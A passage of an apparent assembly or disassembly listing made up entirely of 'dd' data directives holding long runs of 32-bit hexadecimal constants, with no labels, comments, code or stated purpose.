936E42BFh, 0ABF6E1Dh dd 263E9210h, 8357644Ch, 0D7F44A99h, 8CC9349Eh, 90B6D430h dd 638DC6E3h, 0F62B0B7Dh, 2DF63677h, 7CAD60A9h, 88FD57CDh dd 0A6BD181Eh, 0A5F0F6BDh, 0B1A9D46Dh, 398B743Ch, 4CC5A722h dd 77329F70h, 3F11637Fh, 85A62834h, 3D5EA7FCh, 3EC57028h dd 0D6578D69h, 8CD20752h, 1D9D68E1h, 85D7CEB1h, 542FEF9Ch dd 0C87E9BF8h, 127EBD5Bh, 0C3112ACFh, 2B6BA23Eh, 0C6FBEFDCh dd 0F77A5BDCh, 0A5000D88h, 0B51BDD12h, 0E1AA30E6h, 0E4448340h dd 99474B5h, 0A5293E3Ah, 0F43682A0h, 9C8AB88Bh, 0AF038A46h dd 1E5F5673h, 3BABFEA9h, 29F9EF17h, 793ECE76h, 5EF69929h dd 0EF153F85h, 0A2F52A33h, 6ED2C8BFh, 3F3EB29Eh, 368A9009h dd 35B2D224h, 785865BAh, 73D9AD74h, 2CF1FD4h, 5B3E6791h dd 84098174h, 46D5B860h, 0C373CD1Eh, 6340C94Bh, 0E021E0F3h dd 8BC5A19Fh, 0C98E1BECh dd 0D169B39Dh, 17933CB4h, 36687284h, 56901405h, 0A221EABDh dd 490B3E6Dh, 772EAF79h, 0AB12F916h, 0B473D137h, 0CAC8CB23h dd 64D5F2B9h, 8E9FD6B8h, 8D29E715h, 0FEE60D1Bh, 0C70AC09Ah dd 0F5CCF051h, 0BD119A5Dh, 0C46A84BAh, 32EB7C50h, 93D411B0h dd 1561451Eh, 0B54BE0B6h, 0A3D5CC60h, 0AAFED3A2h, 6BD98006h dd 1332D5CEh, 5ABDAB59h, 0B273D37Ch, 39384972h, 0E7EA15D0h dd 2CF3E05h, 0B49BAB9Ch, 0DB48A2ACh, 8B513B22h, 7FC30A3Ch dd 829193E6h, 4BE2EB84h, 0B4040182h, 0F68705F0h, 94C4265Eh dd 4123DF8Fh, 8944EE8h, 4034DE2Ah, 0A7A8AE33h, 5F24BC2h dd 0CFAF7730h, 641618DCh, 8B2A81E3h, 95A80D3Bh, 0FB240E05h dd 0E2C5E6FBh, 2B8E3381h, 10C5AA7Ch, 0A7E84E09h, 45D3BB44h dd 9F9FFA9Ah, 0A94751F8h, 22FD8913h, 25ED0257h, 152EA960h dd 0F3EFE652h, 0CCF89164h, 744287F9h, 9581F81Eh, 4B73F748h dd 0D569EF6Dh, 2B66D7D2h, 87A063A1h, 47ABDD0Eh, 79FB92D5h dd 0B598FAE5h, 0C77196C3h, 6FF70059h, 0B8C61C79h, 0DDE077DDh dd 532DEEF3h, 0FDE3D1F0h, 3E7101Ah, 0E755AC53h, 0F2F5C066h dd 0D549B2FEh, 3DDB2BCCh, 31B473E1h, 8D2778D3h, 142FF3FCh dd 0D0BE3EF7h, 4384F0ADh, 28975E15h, 12BCAB5Ah, 0BA239A7Ch dd 2CC4D7A5h, 0D93B468Ch, 0CEFF46F7h, 0F26E5852h, 0AA5F273Ah dd 0D15C4616h, 9DC593h, 0A4B72ACBh, 0AA558CFFh, 1F627BABh dd 47231610h, 736AB12Bh, 24147CA6h, 0E1F870CCh, 0E0218AF0h dd 0B83CA905h, 834454A8h, 85A38852h, 54C0EB84h, 0D2468D45h dd 412D4A8Dh, 2923FD09h, 70B28A61h, 0B6BB9F23h, 272779C6h dd 1E71FB87h, 0E3CC5E0h, 0B83C41A1h, 784B8DF9h, 5A3D1062h dd 5ECEE303h, 0ACE45B6Dh, 0F80EB4F4h, 163F91ACh, 71820A8Ah dd 0C594135Dh, 370AF517h, 55570C1Fh, 6255BCF5h, 8047B45Fh dd 8FAE596Ah, 0C2CFDED3h, 4DC19A6Fh, 597ECD9Dh, 5AABD6A7h dd 872D7662h, 0A1A8DA1Dh, 7C421B4Fh, 8C36D496h, 1DFF68Fh dd 4AA056BFh, 9981CDE5h, 4EA8B04Dh, 0F8988E4h, 3E7550B6h dd 0C4B1087Ah, 0B16D2C4Bh, 0B904FA85h, 0A3E2BA80h, 0DDC4780Ah dd 79AB84E4h, 9ED60A6Eh, 0A0CE4626h, 3B306D92h, 0EC21FA00h dd 0AC3FAD88h, 0B416E6C0h, 9E632BC0h, 272B9403h, 7FCBE4D7h dd 0C9E19224h, 382B538Fh, 114FABD6h, 0C990DEE4h, 867B2315h dd 0BE50C8C1h, 0B672C08Dh, 0C0F85DEFh, 0D11417C6h, 0FE9D3533h dd 0A1F82FC0h, 0E839EE51h, 0B8DF3E17h, 277BF1FEh, 7F45BCF6h dd 7450F603h, 0F80C0973h, 0E4B3C9A1h, 0AA792B9Fh, 1C78327Ah dd 4C16E0E8h, 74B8B19Ch, 7BAA31F1h, 88D6AD76h, 509577BAh dd 0FC637AEh, 4A22F6EDh, 93335C7Dh, 361837CFh, 1A221AC3h dd 6A0A373Ah, 772A9ACFh, 52DA6207h, 826B573h, 9AAB92B5h dd 0ABDB15C0h, 14E88BF7h, 52ED6822h, 25EA9F69h, 815627BFh dd 688A994Ch, 49CB42B1h, 0FDA1B545h, 7AC5E20Ch, 0C330ED9Eh dd 6CEEB94Dh, 0ECE0B021h, 0EE34A12Bh, 8AD37F73h, 19DD45F0h dd 0EEE5E0ADh, 0BD677E12h, 0FE07892Fh, 0D859E1C5h, 5A57FBBCh dd 15EB7FC5h, 0C4CFE831h, 37CFAB98h, 0EE96E1C1h, 12D1F4DBh dd 0A1B3197Fh, 0E6F60224h, 86844328h, 144EF34Ch, 71C13239h dd 3B3E612h, 256CE042h, 821F6BD0h, 6E920248h, 44FE8D05h dd 955CF96Fh, 0E85F0A73h, 92F47E6Ah, 0C7529FD8h, 764D74EFh dd 17A5BD47h, 0E668836Ch, 47EAB8E6h, 5FEF593Bh, 596E7A27h dd 14440FB9h, 0F5C2E856h, 0C273431h, 6D265670h, 885C6BB4h dd 0CA0C14CEh, 0EB23F9E9h, 4A2F18B7h, 0E0E81330h, 82670B53h dd 69F37D80h, 0D707C5B4h, 29CD5FDEh, 8F97DD09h, 249B8388h dd 55B29EDCh, 0ECE73120h, 9185E967h, 3C38CE17h, 1CFE51F8h dd 0D681E1AFh, 0D9761B08h, 2C58E4E7h, 2237D728h, 5909A90Ah dd 5D69CA79h, 0C6E49C94h, 36AC7B03h, 7666F96Ah, 79065CDAh dd 4F6DBCA6h, 14E59A23h, 578CAD5Bh, 325FE079h, 0EB7B7E73h dd 0F855E538h, 0C2A5EA85h, 3D6DCC3Fh, 563D8981h, 0DA06B14h dd 185E98B0h, 1D3B4629h, 133034Dh, 0BF386207h, 95A3B80Dh dd 7209EA8Eh, 57CAF3A2h, 0B731375Ah, 0EF07F6A8h, 4B1ECEFAh dd 0D67827FCh, 5017D066h, 7EA5A4CBh, 3701E30Ch, 0EAAABA14h dd 7D5F2535h, 2CF0DED3h, 2B5CDCA0h, 60DEE5C0h, 8CA5AFAEh dd 78082376h, 5318B23Bh, 72F9C5Bh, 0A5571F47h, 66160D81h dd 0F729CA81h, 0E69D9FA4h, 22DC5268h, 7E19ABE0h, 3A80A03Fh dd 0FF554D76h, 6DA605BCh, 0F717A371h, 0A92AF944h, 6C25C1ACh dd 9828411Bh, 0C145746h, 69F82A7Ah, 0E1C385D0h, 0F700403Ch dd 0D32DCB48h, 7A6EB715h, 1E98135Dh, 0D5487A4Bh, 0D2B1837h dd 0E04A5C55h, 567FE53Dh, 5D85D110h, 56DF2D41h, 0A6D294D4h dd 0E8281A56h, 2C8F783Ch, 0A25D62FBh, 2DBB57A5h, 0A0697153h dd 22645CD5h, 0D5ED9F0Ch, 847B4BB3h, 72ED3CDEh, 48792633h dd 2A82B016h, 768548DDh, 2C7ECCA4h, 0DCAE2CA3h, 73F44C2Fh dd 0E1E0F018h, 2B247C07h, 0D7731964h, 0F8B9DD2Dh, 648CA0h dd 0A8D2F502h, 0C2997960h, 1A7D453Bh, 818A1516h, 47691371h dd 23137946h, 7712E24Ah, 6F017802h, 4DC7D235h, 16FB5FEFh dd 0FCDBF4C4h, 0AD479628h, 0CBD25EE1h, 0FD4979B7h, 0ADDBF3E7h dd 9C3BD100h, 0FBB3F02Dh, 60E91A27h, 3A955EDCh, 976DBA4Dh dd 5728074Eh, 0BC7A356h, 1A020D0Ch, 4209C125h, 34CE4D1Fh dd 0EBCDCF6Ch, 76EA0D2Fh, 8CC6890h, 0AB4C1A67h, 9DDFCDF6h dd 356D51E8h, 4512BB5Fh, 0C0F87202h, 0B6CFADF5h, 0BA127471h dd 3F058ED6h, 0B8D44ED4h, 880A89FAh, 0EAF1944Dh, 9160C66Fh dd 81D8DE7h, 0B3797CDEh, 0C32DC642h, 0F100139Eh, 0CFE87C12h dd 4F14249Bh, 5DA73C07h, 6AB173B4h, 65F8DA5Ah, 0E5A20FC0h dd 6EF60A3Eh, 7905E388h, 9778612h, 0F599452Ch, 0BABEC459h dd 631F1398h, 21F799E1h, 0C0D084FEh, 3BD17B72h, 0BD78DBFDh dd 55D474B9h, 46077E2Ah, 0F3E2060Bh, 6F76B169h, 0C284D4ADh dd 3E423783h, 7436FDD5h, 0F9802A87h, 36A5EB85h, 0EBA9EE4Fh dd 1D4C5D8Bh, 7D535A70h, 0C9D4F010h, 0C137585Fh, 1ABA5CCBh dd 0C8A8E9Ah, 90760D52h, 0EA589CE9h, 269BF522h, 8BA01DCEh dd 0F1C87A04h, 0AB188D8Ah, 0CFCBCFADh, 0A9D46340h, 40AD27C3h dd 1AB252E7h, 97491789h, 5BBAF353h, 4A4D8319h, 0AB52262Ch dd 0EF172B40h, 8DA3F938h, 6E36AF8Fh, 0F03FAB9Eh, 722FC54Eh dd 0DBD6B95Fh, 8DA75702h, 0F0B3661Fh, 303F611Eh, 830FB894h dd 0D1F72BA4h, 0ABE32B2Fh, 390BCF21h, 0BD54F577h, 54ECF411h dd 0B7CA3C64h, 0EC2DAA78h, 0FD45DCAFh, 0F474123Ch, 0FB4979B4h dd 0F36DA1DCh, 38757F07h, 949292CFh, 34B165D7h, 4A2414FAh dd 0A87FAF41h, 45219270h, 18A767D4h, 2D1395B5h, 40B55BDDh dd 0D5071CFBh, 830EAE6h, 27FB7368h, 724AFDDAh, 6A40B725h dd 0F0B381F1h, 0F27463F3h, 127041B7h, 56887838h, 0DF0A3B0Ch dd 6792E994h, 0A9884284h, 5D81D158h, 8DC63D2Eh, 8E8DE3F1h dd 3869F1CBh, 1E8CD09Fh, 0A9692B36h, 1612CC07h, 958A56B6h dd 0D16D2AD0h, 780B5AA9h, 56D3F29Eh, 0B7DBE4BDh, 0C5F308E4h dd 0F680506h, 5607D45h, 126D8DE8h, 0CEEE5FB7h, 555A184Ah dd 30EA0AD2h, 8CC3D1D3h, 3B146FC4h, 0FEF821F8h, 1F27BC3Fh dd 33395578h, 0D46D08CAh, 0C736E2B2h, 0F8DC11A9h, 0CA506D81h dd 4AABF81Dh, 0BE6422F7h dd 0A2B881B6h, 67098DFDh, 67154D4Fh, 0D1E84DAAh, 0E98368C6h dd 0D3A33E61h, 1AC09E80h, 323BB0BFh, 0CD22F306h, 0C0F9192Bh dd 0BBB52B5Eh, 7931B2BDh, 0F1465029h, 0D694805Dh, 5CC69F65h dd 0C1E39203h, 18C5F787h, 9BFDC16Dh, 52580133h, 0E8447D0Eh dd 895D81BAh, 4B0CDA3Bh, 8E339640h, 0A2D99A1Fh, 0A5DE845Fh dd 0A5625BCDh, 4D4955B8h, 1C1C4BE4h, 0E7BC03DDh, 0DCD2AFF7h dd 74130593h, 0A64C377Eh, 83C856F6h, 0ECD64463h, 39158E89h dd 24E03EE0h, 0F3D6BC35h, 0F3765568h, 4121C74Fh, 0AACA06DCh dd 0FA2D969Dh, 0EA8E59CEh, 0A2B18342h, 5D485CCBh, 4AE0D5B1h dd 0E2AA820Ch, 0EEC1979Bh, 62C11F37h, 3952DECCh, 5A340791h dd 2F888CF8h, 7FECFF51h, 54B84664h, 0ECFC2FE0h, 0DD6ADC3Bh dd 0BCCC8802h, 9C6F791Eh, 944DA6E0h, 0BB61AB9h, 3E7E46Ah dd 3F56DA5Bh, 0CBF42CACh, 4307590Bh, 4140C16Fh, 909A7DFAh dd 6677A2E8h, 63B238BBh, 0CB40AD8Eh, 71F96BB5h, 0B6BBE247h dd 504C02CFh, 238B6078h, 605EA5F7h, 51B38962h, 0B2568593h dd 0E1F105FBh, 8BBFFCBDh, 59B9FF6h, 5130EF4h, 118A2824h dd 0C0F2970h, 1CCCD439h, 276F1B43h, 635177DEh, 6883FD9h dd 30FA4EE4h, 0B16F2FC4h, 1AD5BD46h, 0D113316Eh, 6320F54Ah dd 0E99DCA4Eh, 89EA538Bh, 0C071C0F2h, 0DD0DAF3Bh, 29A3996Fh dd 76DF705Ah, 91F72AE8h, 5D2AB99Bh, 6A5E2BEh, 0BDE60D00h dd 0D59C8EF4h, 0AF5FD134h, 0A2FFF180h, 0FB70B9C7h, 563F17C8h dd 0F99A0224h, 0ED68B094h, 4CD834B3h, 549D360h, 0CD8F3DBEh dd 0F3F75383h, 142F86AFh, 9B38158h, 5BEAD57Dh, 7364A316h dd 554268A3h, 238DC8F2h, 66EBE2D7h, 720CCD01h, 264C366Ch dd 9FE14673h, 75F8F84Ch, 606E5817h, 6335E5C4h, 0F03F7838h dd 6F055306h, 0DB069AD9h, 0D56413EBh, 0C6AF52BBh, 0BE794A07h dd 0D18562C8h, 0A891755Ah, 0B019B03Ch, 0DF6F72B5h, 3EFC9177h dd 0D098B2D1h, 29D62974h, 0BA29A8EBh, 0D8E21EB4h, 19ABF770h dd 344C6B3Fh, 4E06C17Fh, 85B39E26h, 79DB1F4Ch, 0B17FF2E1h dd 9D28BAD5h, 0D9E41685h, 0DC9A14C1h, 1EC8CDAEh, 235A1378h dd 882D224Dh, 707832CFh, 0ECD4DA9Bh, 4EB1D1E0h, 46C317B2h dd 0F0CC306Bh, 9A8EA40Ah, 58EC0330h, 9FF38B5Ch, 533DF80Ah dd 0A168EE2Fh, 0EEB18D6Ah, 36EDD7CAh, 205F1AC0h, 0BA1A2FB5h dd 0E40FB460h, 56E82992h, 95872A18h, 0D90AE46Fh, 0A7DC5B4Eh dd 5B95E70Ah, 8EB689FFh, 0BF382D1Fh, 86F3E31Eh, 95339CCBh dd 0A17F1836h, 2D47F619h, 0A673F1EAh, 0A377CE13h, 0E7172BB3h dd 50FCB40Bh, 20D66DFDh, 0C0826503h, 1E634D61h, 82E63557h dd 35E1EDC4h, 23D02813h, 3C887A97h, 56F1DB38h, 0A6539B9Eh dd 6D57E532h, 0DA4DB2FBh, 2DAAAB7Bh, 4C97540Ch, 4BBE9D7h dd 787446FAh, 58C474D2h, 0F6453F0Fh, 0FD1E0A1Dh, 601A03A2h dd 0A74D131h, 0D47C085Ch, 45E83F0Dh, 9E8ACF42h, 0D735781Fh dd 241E8DDAh, 8B477B61h, 5C4D7E78h, 0A29C344Dh, 0C9CFA466h dd 0A341DBC9h, 0FB66AFB4h, 73D852AFh, 291CC854h, 0F0C47F49h dd 0D8BCB645h, 0FC86B9DCh, 88CAAFF3h, 0D6892A25h, 6DD6298Ch dd 0DE786B8Dh, 943F9528h, 0F2380104h, 522C038Ch, 0B128851Eh dd 22CDC6D6h, 0D1D5DC7Fh, 1A98A693h, 4B79F3FEh, 95CD8661h dd 0B9A16495h, 750286C7h, 0B47B7C31h, 0C0FC6BC4h, 0FEF55359h dd 0D577B23Ah, 496A0E07h, 24F8804Ch, 0A985962Eh, 1341C19Eh dd 0FF7E6543h, 2B44DC4Eh, 1AA7A9B5h, 578A4BC3h, 1B622B3Ch dd 47684AE2h, 58C47D83h, 4EE4F41Ah, 0DC6D7C8Ah, 0BF36C514h dd 5BC75625h, 252992B2h, 15B5C5FAh, 0EBF5DCC0h, 40D4503h dd 21FF6F4h, 6B523DC4h, 0AAFBB755h, 0D019058Bh, 0CC0F1562h dd 3CE56E9Dh, 0B2BEC777h, 1DF86433h, 23370BA7h, 0C582F7DAh dd 0FD39AAE1h, 0D82B5339h, 72641486h, 0B7F0AD56h, 0F3761F0Fh dd 0C3BF06h, 0ADF488C6h, 0CCAE0539h, 0A611437Bh, 0F06301A2h dd 766581EAh, 7528DBBFh, 9D1643D2h, 3535E7AEh, 496DAEF0h dd 285BBCF0h, 0E27E783Ch, 1228749Bh, 0C45A7A68h, 0A32D5614h dd 84292B4Fh, 0FC962FB3h, 8317F55Bh, 0FF15F9C0h, 923A4C89h dd 69BD996h, 0C9BC850Dh, 5CB32A98h, 6C3EBFA3h, 0E2284DC8h dd 0E4F80896h, 0A698A6AFh, 0F83BD68Dh, 8B405042h, 0EF2B1D54h dd 0B04A0AD8h, 0D29D48CAh, 78C40C27h, 0E82A4952h, 5A2CD4F0h dd 2EDBF1B3h, 0E0F33755h, 1B1EDFCDh, 0D45DE28Bh, 976CC2A8h dd 80A66DA2h, 0E77EEEDFh, 0DAD1A8DCh, 4A0221AEh, 0A3B1D67Eh dd 0E75AAA38h, 9C89ED33h, 0E5973F9Ah, 3FDFF7BFh, 61B1CF44h dd 0EA503FF8h, 46949B30h, 5A8CA05Ch, 13B9C6A1h, 739E9F7Dh dd 0E059D3BEh, 7EE860B9h, 3157B8Dh, 7CD0CAF1h, 0EC57BFF0h dd 88BE20B5h, 0FB383336h, 7EE87DD4h, 0A2991E23h, 991A5B62h dd 1BC5061Bh, 746C5993h, 3CEB8FEh, 6AD8DEE3h, 6A5689ECh dd 0F1E0C2FEh, 2A2B8399h, 457FF1A2h, 4455169Ch, 0BC6A8038h dd 2B4D1C58h, 1EDD57D8h, 743FE6Eh, 0F891BA7Eh, 5118A4E1h dd 51AA3293h, 15C2ABDFh, 44907B60h, 7B197D5Bh, 9BADE4AFh dd 0FDD81FBCh, 52811962h, 0BBDE1E07h, 0F8E909CCh, 82A729FEh dd 0CFD0156Ch, 0E17047A0h, 66E4FAD8h, 0F345A5CFh, 0EF42CF56h dd 68AB767Ah, 0AA51A075h, 0C87E14F5h, 97C8D4BDh, 30A857F6h dd 0FC8A3230h, 9080248Ah, 42A4A1A5h, 0A505055h, 3552A2FCh dd 4E92C10h, 0BF23DEF6h, 87225B52h, 834C3929h, 0EEA2D575h dd 0E6931CAAh, 7C13B78h, 68B73FDEh, 0F4ED69Bh, 0D22D2AE6h dd 0E9BBB048h, 712A5B95h, 9BF7CB52h, 352F331Eh, 0F0E5FBB7h dd 0D4AFC1EFh, 0C06B4F81h, 0AA0C3AAEh, 0B7E960EFh, 0AD79968Eh dd 8F534DB6h, 707DA1F8h, 9B4AAD74h, 111B7135h, 92DD17CCh dd 0FABE0AC3h, 0CEFF45F5h, 0E6A5E814h, 65E2C11Bh, 423EB449h dd 0D2E88C3Ch, 0C7757319h, 79FE017Fh, 3A5C81FDh, 3F17D63Bh dd 3285DA84h, 506C0752h, 5D34BE1Ch, 9531470Dh, 2A7919DCh dd 660FADA4h, 7052D1ACh, 297F886Bh, 4A3EAB9h, 0A1AABC5Dh dd 0D14E3B05h, 0E9AB8FEAh, 8FDD8BF8h, 3E8ECDA5h, 0F46546FCh dd 2D1A8480h, 0D6E35801h, 8EEFD5E5h, 0D585981Eh, 0D2CB811Ah dd 765FE1A8h, 15782884h, 0FBF8AF79h, 7CFA496Eh, 3E23CB90h dd 0D48DE02Bh, 0A836264Ah, 2348BAD8h, 2B881EBFh, 82422F00h dd 583CDF29h, 0DAAFB694h, 0EA9B3F05h, 6B4A82C6h, 98C492Fh dd 54A1DDD0h, 0BBFE3485h, 0A1C946A0h, 21BAC23h, 0BBEF4E89h dd 85282A4h, 26A182C2h, 53A989A4h, 0E0D36890h, 0C1E15677h dd 28D1175Dh, 0DC550BF2h, 6337FFC6h, 9940B50Ah, 7D5DB159h dd 0D5D55184h, 9D7A04A2h, 9F3A59A0h, 682D2EB8h, 94C88C31h dd 0A8EFE1E7h, 0D15C5C9Eh, 4318CDA6h, 0D34EBD35h, 0C4D6E01Bh dd 66577D4Ah, 0CD4E30C0h, 0F94DF4BAh, 26D260Ch, 48F7DCEh dd 71E7255Fh, 25C267A3h, 0F34CFEFFh, 308C31B9h, 0E2F7A3F3h dd 2F95F2FBh, 3F8B7109h, 0B48AC1DEh, 0C299CA7h, 2C961688h dd 370370ADh, 66310C5Fh, 3015D7F6h, 0CFDD3523h, 6EEB36C8h dd 7EFC0558h, 0FF6FD0A6h, 98125998h, 74F88BC2h, 0EE0D5DC1h dd 0D4514D42h, 2E0F106Bh, 0C38928FAh, 0B67D3177h, 63BF4564h dd 286015CCh, 0D72841BCh, 7C766F77h, 0BE97C97Fh, 0CFFF493Dh dd 0C1F9F3DEh, 2BEB7420h, 556390CBh, 0A4AB7EB7h, 0AB333393h dd 0BDF2D9E0h, 44D01CCCh dd 0ED4A84F8h, 7DA8BE33h, 92D1BCB0h, 771CC094h, 926D0195h dd 70798D62h, 4B0BE1E8h, 5C9CD0E5h, 0DCE8D951h, 27D8E059h dd 0C6AC1736h, 46EBD6EDh, 135E3D2Bh, 6D5878A1h, 0E1A7E9EBh dd 94533A47h, 50905319h, 7E0E04A8h, 6A18C1DFh, 152F07DFh dd 0AA75B245h, 84091B9Bh, 403D9B0Bh, 5640544Ch, 740BAF6Bh dd 0BD403AB3h, 0D7FEE0E2h, 52C2518Fh, 0B825FD27h, 0D2769BC2h dd 9B0BECFAh, 0DC1B8836h, 0B9F5EE03h, 6B186A1Eh, 74B05FC5h dd 67CFA567h, 47D86045h, 0AA02AE57h, 26820E76h, 0E0F09E8Ah dd 3E12B133h, 12721408h, 8AA0F897h, 0AD0EF906h, 50DCBC52h dd 9F99C13Eh, 0E0EC2E1Ah, 0C0B6688Eh, 1CA5B537h, 0B54D0598h dd 80D8FA78h, 0B9977311h, 0D1A6EAE3h, 648C467h, 0C472A05Ah dd 0FCBBA60Ch, 81F861DEh, 0F7458BADh, 94F3FB77h, 2824D326h dd 57687EFCh, 0B55146C1h, 0C43E0BAFh, 5F5458B3h, 0BB0B332Ch dd 134CF66h, 0DCDCED53h, 0F377CF61h, 0DE1FC5E7h, 0CE6CB680h dd 28EFEC2Eh, 0FE4F703Ch, 6A8723DEh, 0D959DBEBh, 0A8D049F7h dd 8515F10Bh, 0F8CE5220h, 311EEA14h, 95BD5407h, 556C5752h dd 548BEA90h, 0DD4C4D7Fh, 0BCB244BFh, 38557E2Bh, 0FBFA6A8h dd 442573DAh, 0DA8D0240h, 0D08FE576h, 5AC04941h, 3D6CDF89h dd 5643F8B2h, 13DBAEB9h, 0E3B69DA8h, 93E09687h, 33B01D20h dd 127D6071h, 5DB11DCBh, 0CA670AF1h, 78B72B96h, 2F7D1170h dd 31CF1D99h, 7B1756A9h, 0D23E0593h, 0CE9F57E7h, 7840A17h dd 8C38C714h, 2779EC95h, 5DA9186Ah, 2C8699E3h, 6B5F7695h dd 0CDD17BB3h, 116A125Bh, 314612DDh, 783CB243h, 0F640ECF2h dd 28DA2838h, 0EF835A53h, 912D0C5Fh, 8CE6E750h, 3FDDB5E0h dd 0F8B05E11h, 0E5F8880Bh, 0A653A010h, 0B4556A6Eh, 3E8D5B53h dd 0C3977137h, 1A106F03h, 0E6015F22h, 40584994h, 24B0D603h dd 973E94BEh, 2FACF9DCh, 0C6A4DA6h, 615D0DB5h, 0F98BFD6Ah dd 61F840DAh, 186D99FEh, 50F489ECh, 0B5F1F316h, 2AB2B9FBh dd 0DADB8707h, 0EA1BC089h, 0AD990224h, 305840CBh, 494752F1h dd 84E4A399h, 0CAB6BC22h, 8BF00A4Ch, 0DBF14D42h, 0ED5CD737h dd 0DD423F23h, 0F044CE8Ch, 9723E349h, 1F1A8C51h, 0DC087ADFh dd 989E4E67h, 8342D16h, 0EEA93B54h, 8D40CED1h, 0F7D8D896h dd 0DA9B06F8h, 77729086h, 0B05718E0h, 0ACBF3754h, 0D2EDCBCCh dd 0C2A12E7Fh, 5381CC00h, 11E0AFCCh, 0CD3AE751h, 9572F3E2h dd 235B8B51h, 578F9F97h, 5F947B20h, 0F2BA8CF7h, 5C80A5A9h dd 0C794C13Ch, 7D549F7h, 9C512A33h, 0DA25F1F9h, 0A13EA6D0h dd 0C95649D3h, 9B897D07h, 7D046A91h, 0B8A17599h, 52359321h dd 0A6F664B0h, 0DC5C26DAh, 0AA882DDFh, 0B28EFD50h, 5A5A21AFh dd 4DB06CAAh, 4A6DABB0h, 1C5054C0h, 49D82056h, 0F24EA575h dd 0B0C2DF62h, 0F838F6D1h, 0F4EEC921h, 8B2A2ED5h, 853CACD0h dd 4A19AE38h, 67F93DFBh, 81E68E79h, 14550883h, 7E50E355h dd 0E9C256Bh, 880241B2h, 2551472h, 0EE6CB6D9h, 2F2AD82Eh dd 0D68B03B0h, 791FDC4h, 0FC82A18Fh, 27C3F132h, 0C690AD4Ah dd 0E7DD5EA9h, 0E700BC0Fh, 0FA780FD8h, 0BE6D67BFh, 1E84BEACh dd 0EFF76603h, 81F0B1A4h, 0B8AECA2Dh, 0E6BCCA1h, 2806117Eh dd 0CFF1F37Ch, 0C8C21D88h, 0AED67F12h, 8087170Bh, 60F7EF89h dd 8A22EAEh, 2F60D4DFh, 0BE5B10F8h, 6D376F50h, 446AFC99h dd 0A9B55C3Bh, 0D3C4830Eh, 7C2DDDF4h, 117E7588h, 6D1D7D7Bh dd 6E1347BFh, 0CDB7F5A9h, 26AFB936h, 13F8BEEEh, 0D5092ED1h dd 0BF262C0Dh, 0AF935F68h, 275B0FD2h, 5FC8170Dh, 6C9BE90Dh dd 38C476ECh, 356B7D32h, 0C3D8A677h, 0A958ABBh, 0D6540EB5h dd 0DFD268F0h, 5566E969h, 80A27C8h, 0F3EFABB5h, 0F458AAADh dd 0EB2ED068h, 3A349CB6h, 3B089D3h, 3F156FEAh, 0CE7EA64h dd 958BBE6h, 53AD07C7h, 93C800F2h, 232BA77h, 61EFE13Ah dd 0F3A6CB85h, 0D62E8439h, 0A5C4BB72h, 4D1B1A35h, 0C0F140AEh dd 0FF173763h, 6AFBD9Dh, 6D811F13h, 26562B3Dh, 7E3EE7D3h dd 0F481BAA1h, 9898B3CDh, 79C02C7Fh, 0A778E2D7h, 1D3C8F54h dd 5318CF42h, 81E6C6EBh, 3D35D0F6h, 3B44BF64h, 3C0F22E4h dd 17966CFCh, 64C63A7h, 76BC7056h, 698E5C54h, 0F83EDD64h dd 89B786h, 20F36262h, 0A04070EDh, 0B0B2C9F6h, 3DF67007h dd 2B4689D0h, 54DA2CF5h, 0E46EBE5Fh, 0DB172AC3h, 0F8F65311h dd 7E16F960h, 6BE6BAB1h, 99B2B0EDh, 85695FF5h, 1124EF17h dd 764D5D9Ch, 8C1CFA59h, 2C98D81Dh, 0F13798F0h, 8654F828h dd 75A065EDh, 0B9FB317Ch, 9A30AEEEh, 5F3D693Fh, 0CE0CB0DFh dd 0A2C85B74h, 5B5CC5F2h, 0B8B4014Dh, 8983DA87h, 5FB57EC7h dd 0EB4EAF07h, 4FE358DAh, 3EF0ED07h, 0AA4BA432h, 32F318E1h dd 0C9F2A0B5h, 2CD6BB8Dh, 5522B5DAh, 7338E108h, 25EE0FA5h dd 305FAE9Fh, 86469D75h, 0D0A3ED50h, 89F6644Bh, 5DD68035h dd 6F80E37h, 34FAC06Ah, 0DEBE1B39h, 0B39E9E3Dh, 0A679BC72h dd 6B95B984h, 0D4D4F82Eh, 0F064DDD2h, 64C0950Eh, 0EDACC660h dd 0D2718349h, 8DAF4897h, 4D660956h, 0AD425457h, 6935C8Ah dd 95B36033h, 0FF32A3F5h, 1DCFAE8Ah, 84EB806Bh, 1F83615Fh dd 1CA4D756h, 0B0C8E759h, 79242271h, 6DDF9CF3h, 3EFC61F8h dd 0CE3F4817h, 1C06594Eh, 38519208h, 410A5307h, 40A7A4ACh dd 0ADDA3D74h, 0CA52E90h, 4D6502C8h, 275B1B07h, 46B5A3DDh dd 86214Dh, 56A07C00h, 7B2087D0h, 0A5A06F43h, 8F7020F4h dd 0EDE62BC6h, 8C467CE0h, 4018D7ACh, 0B839EBD0h, 0A8FFFC78h dd 2D7C794h, 0D910F54Ah, 0FED3CB8Eh, 4BCE146h, 33C58CBFh dd 7360514Ah, 4B2FECCBh, 6E26E35h, 0BA298BC3h, 6768F1C3h dd 4087149Fh, 9B17DA03h, 7680E33Eh, 46E423Ch, 0E62A3DBCh dd 55E9AF24h, 3308A31Eh, 0A4FDB8CCh, 0BBBEFA74h, 0A255FBC5h dd 99AFEABDh, 0E5ADB7E2h, 0CD42E07Dh, 0FAF672E7h, 2F4C4344h dd 8CD88207h, 0D2E553F8h, 768E88C8h, 49B9FBEAh, 0D22114EAh dd 0C9CB5764h, 1D5E3DE9h, 5D94F2F2h, 0B5438705h, 982CEA00h dd 2117E2B8h, 0F5CDB151h, 0B728AE66h, 0A496E725h, 70153C74h dd 0B58861F0h, 0ED2F3C31h, 95B56A83h, 7B9F7C7Ah, 7AB47C5Ah dd 0CE3C6450h, 0EBC35CB9h, 0B2DAA546h, 431C3944h, 0A807FF83h dd 7740D94Ch, 68567FD0h, 998948Ch, 0E670CCAEh, 7D18DFF3h dd 0A6E82EBFh, 0AB742657h, 3375D1DBh, 8B67B411h, 7B07E41Dh dd 0A5A9C507h, 877AB450h, 431AA253h, 0F3FA22B9h, 0A5D0D89Dh dd 7F8491E4h, 9B96D085h, 8BE9D2D1h, 0A97ED83Ch, 7F41C06Eh dd 0EA0D3A71h, 1D48E84Ah, 25701F8Dh, 0C5FBAF04h, 0CBBB05D2h dd 2F372D1Fh, 0F7A5034h, 4175C125h, 8E69A025h, 0CD7D22EFh dd 1FF32D2Ch, 50F81D89h, 0EFBC41ADh, 0F377CA58h, 0E2FE9030h dd 6FBE3075h, 2F6B735Fh, 0D1FE5C7Bh, 0D4CEAC6Eh, 6E1CFC8Dh dd 0DEBBBA98h, 